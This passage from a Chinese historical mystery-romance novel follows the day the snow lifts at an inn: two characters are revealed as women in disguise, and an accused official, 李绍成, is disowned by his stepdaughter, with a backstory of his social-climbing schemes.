商隐之乐呵呵地冲着丁文元打了声招呼,“丁大厨,你来了啊。不好意思,今天来的比你早了一点。” 丁文元心知肚明,“我看啊,你不是早上醒得早,怕是激动地一夜都没睡吧?” 商隐之摇了摇头,“还是睡了的。” 丁文元打了个哈欠,“唉,你是人逢喜事精神爽,我就比不得你们这些年轻人了,困死我了。” 连绵了数日的大雪终于停了。 这个消息一大早就传遍了云娘店,再加上前夜假冒山魅的凶手终于被抓住,大家都喜气洋洋地早早来到了客堂,看上去到还真有点要过年了的感觉。 见大家都下了楼,丁文元和商隐之加快了做饭的脚步,突然,外面传来了一声尖叫。 商隐之听出那是喜松的叫声,于是连忙跑了出去。 只见晏熙和福砚都换上了女装。 云髻峨峨,修眉联娟;明眸善睐,丹唇皓齿;秾纤得衷,修短合度;瓌姿艳逸,仪静体闲;转眄流精,光润玉颜;远而望之,皎若太阳升朝霞;迫而察之,灼若芙蕖出渌波。① 喜松捂着自己的脸,“福砚,她也是女的。” 众人虽然对晏熙女扮男装大多有了猜测,但福砚年纪尚幼,眉骨尚未完全张开,倒是迷惑了众人。 大家都好奇地围在福砚的身边,夸她女装的样子可爱又灵动。 商隐之走到晏熙身边,在她耳边悄悄耳语,“你真好看。”晏熙转过头看着商隐之,眉头轻蹙,“就这样了?” 商隐之眨了眨眼睛,“某人好像,还从来没有夸过我吧?”晏熙转身看向商隐之的眼睛,“某人眼光倒是不错。”商隐之乐呵呵地点了点头,随后反应过来,“不对,你到底是在夸我还是在夸你自己啊?” 晏熙轻轻一笑,“我饿了。”商隐之看着晏熙,“那你夸我一句,我就端早饭来给你吃。”晏熙的眼神里带上了几分可怜,“真的饿了。”商隐之叹了口气,“好,你先坐,我去给你拿吃的。” 李绍成还是见到了李素织。 “素织,你听我说,我全都明白了,杀了明武明礼的人其实是……”李绍成一见到李素织,便急不可耐地向她说明自己的发现。 李素织冷冷地打断了李绍成。“明武和明礼到底是不是你杀的?” 李绍成不可置信地看向自己养育了多年的女儿,“连你,都在怀疑我吗?” 李素织看上去平静而冷淡,“话是你亲口说的,事是你亲手做的,全云娘店的人都看见了。” 李绍成恼怒的拍着桌子,“那都是他们的圈套。是那个晏熙,他们故意设计陷害我。你知道那个晏熙她到底是谁吗?” 李素织脸上的表情没有丝毫的变化,“她是谁不重要。他们是对你进行了试探,可你的每一步,倒是走的真如他们所料,并且分毫不差。” 李绍成愤怒到了极点,“可明武明礼真的不是我杀的,等下山后,你去找你外公,让他来见我,我和他说,他一定有办法的。” 李素织轻轻摇了摇头,“我看,你就不必再见外公了吧。” 李绍成顿住,“什么意思。” “先不论明武明礼这件事,这些年你做的那些事,桩桩件件皆是知法犯法。最重要的是,你做的那些居然被真正的黜陟使发现了。薛家给你了庇佑,你却给家族抹黑,从今天起,你与薛家没有任何关系。” 李绍成不敢相信自己的耳朵,“素织,你知道你在说什么吗?你姓李啊,你是我的女儿啊。” 李绍琛虽然名义上也是出生于大家族,但却是自己家族中旁系到不能再旁系的一支。他的父亲为人软弱,有没有什么实权,平日里那些亲戚朋友都不待见他们,只有逢年过节的时候碍于情面,主家才会邀请他们前去做客。 可是每年,他们都是到最后一刻才收到请柬,等到他们一家急匆匆赶到,宴会早已过半,他们被安排在最角落的位置,留给他们的是已经变凉的冷炙。 宴会结束后,李绍成会跟着其他的公子小姐们一起去游玩,某一次,一个仆人端着一盘水果路过,一个靠近主家的旁系公子将那人拦了下来,然后从中取出一个果子递给了李绍成,“我看你刚才来晚了,估计没吃多少吧,这个,就给你吃了。” 这个公子对待李绍成的态度一向张扬跋扈,此时不知为何突然起了善心,李绍成懵懵懂懂地接过果子向他道谢。 那个仆人大惊失色,“公子们,那是要去给……” 那个将果子递给了李绍成的公子瞪了那个仆人一眼,“这里没你事了,你下去吧。”然后看向李绍成,“你快吃呀,没关系的。” 李绍成咬了一口果子,一股怪味涌了上来,但他还是强忍着将果子咽了下去,然后讨好地对众人笑了笑。周围的人都笑了起来。原来那盘果子是要端去喂马的。 “哈哈哈,他吃马食诶。”“不是吧,李绍成,你们家穷成这样了,连马的吃的你都吃啊?”“你看他吃的多有味,说不定,他平时吃的还不如马呢。” 有个胆小的公子拽了拽那 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李绍成从那个时候便发誓,以后一定要当大官,他要让这些嘲笑他的人都看看,日后究竟谁是那个被主家遗忘的人,又是谁即使明知被人羞辱,却也只能曲意逢迎。 李绍成开始发奋读书,但他知道,以他的资质,如果老老实实光靠读书晋升起来太慢了,他必须得加快脚步,其中最好的办法,便是找一个大家族依靠。比如当年嘲笑他的那几位公子,明明能力还不如他,却已经靠着家族的运作进入了朝廷。 于是李绍成盯上了当地的望族薛家。薛家有一个年长他几岁的女儿薛蕙,李绍成想尽办法与她偶遇,投其所好,薛蕙虽对他以礼相待,却十分客气。 他知道薛家家风严明,所有家族中的子女皆以薛家为荣,所有人都在为了薛家的荣誉而努力,薛家看不上他,薛蕙便不会对他有别的心思。 李绍成知道此事急不得,便徐徐图之,他同样对薛蕙礼貌有加,以知己相称慢慢靠近,但是薛家还是让薛蕙嫁给了别人。 李绍成得知消息后有些沮丧,但仔细一想,以他当时的身份和地位,与薛蕙之间根本就不可能。反而薛家让薛蕙嫁给了别人,薛蕙便会觉得有愧于他,带到日后将这份愧疚加以利用,反而于他更有助力。 他对薛蕙依旧以知己相称,暗地里却多次挑衅薛蕙的丈夫,让他对薛蕙产生怀疑,每到那个时候,他再去薛蕙身边细细安抚,如此几年下来,薛蕙与丈夫之间距离越来越远。 李绍成多年不娶,薛蕙心中有愧,便有意将自己的表妹介绍给了李绍成。表妹虽然在薛家地位不如薛蕙,但仍然于李绍成颇有助力,若是当年,李绍成也许就答应了,可是现在,李绍成知道薛蕙与丈夫之间的裂痕已经无法弥补,便拒绝了表妹,并且乘机向薛蕙表明了自己的心意和这么多年苦等一人的委屈。 薛蕙与丈夫育有一女,名唤素织,这个女孩从小就在学识、才情、气魄、胆识等方面远超常人,完美继承了薛延礼的所有特征,薛蕙和薛家人对这个女孩都十分疼爱,李绍成知道要想得到薛家人的认可,必须先得得到这个女孩的认可,于是在素织身上下足了功夫。 李绍成考上校书郎后,薛蕙与丈夫和离。李绍成没有贸然前去靠近薛蕙,那样目的性太明显,会适得其反。他选择了隔三岔五带着素织出门前去游玩,恰到好处的弥补了素织父亲的位置。于此同时,他对待薛蕙反而开始保持起了距离,他告诉薛蕙,并非他的心意发生了改变,而是不想她白白遭受非议。 薛延礼一开始并不喜欢李绍成,李绍成的那些小手段在他眼里不过是儿戏,可是李绍成竟然能坚持这么多年,就连薛延礼也不得不佩服他达到目的的恒心。更何况素织很是喜欢李绍成,于是薛延礼最终点头答应了。 虽然一开始李绍成对素织的好是有别的目的,但是后来,在朝夕的相处中,他几乎都要忘了,素织其实不是他亲生的。 这些年他细心照顾着薛蕙与李素织,也在薛延礼的助力下一步一步爬到了当今的位置,本来明年,他就要升任长史,更进一步了。 他摒弃了李家,平时以薛家人自称,他以为自己早就成为了薛家的一份子,却没想到,一出事,所有的薛家人当即与他割袍断义,就连李素织都要如此。 李绍成冷笑一声,他早就该想到的,其实李素织比她的外公更加冷静果断。当初她和杨远之事,李绍成虽然有点嫌弃杨远的家世还不够好,但他却觉得,只要李素织是真心喜欢,也没什么大不了的。然后李素织和薛延礼谈过一番话后,便坚决而轻易的放弃了这份感情,甚至请求他帮忙出面拒绝。 为了薛家的荣耀,她连自己真心爱着的人都可以那般残忍的亲手放弃,更何况是一个与她根本就没有血缘关系的父亲呢。 李素织起身离开,“其实,我是姓薛的。如若不是我姓薛,这些年,你会心甘情愿的养育我吗?”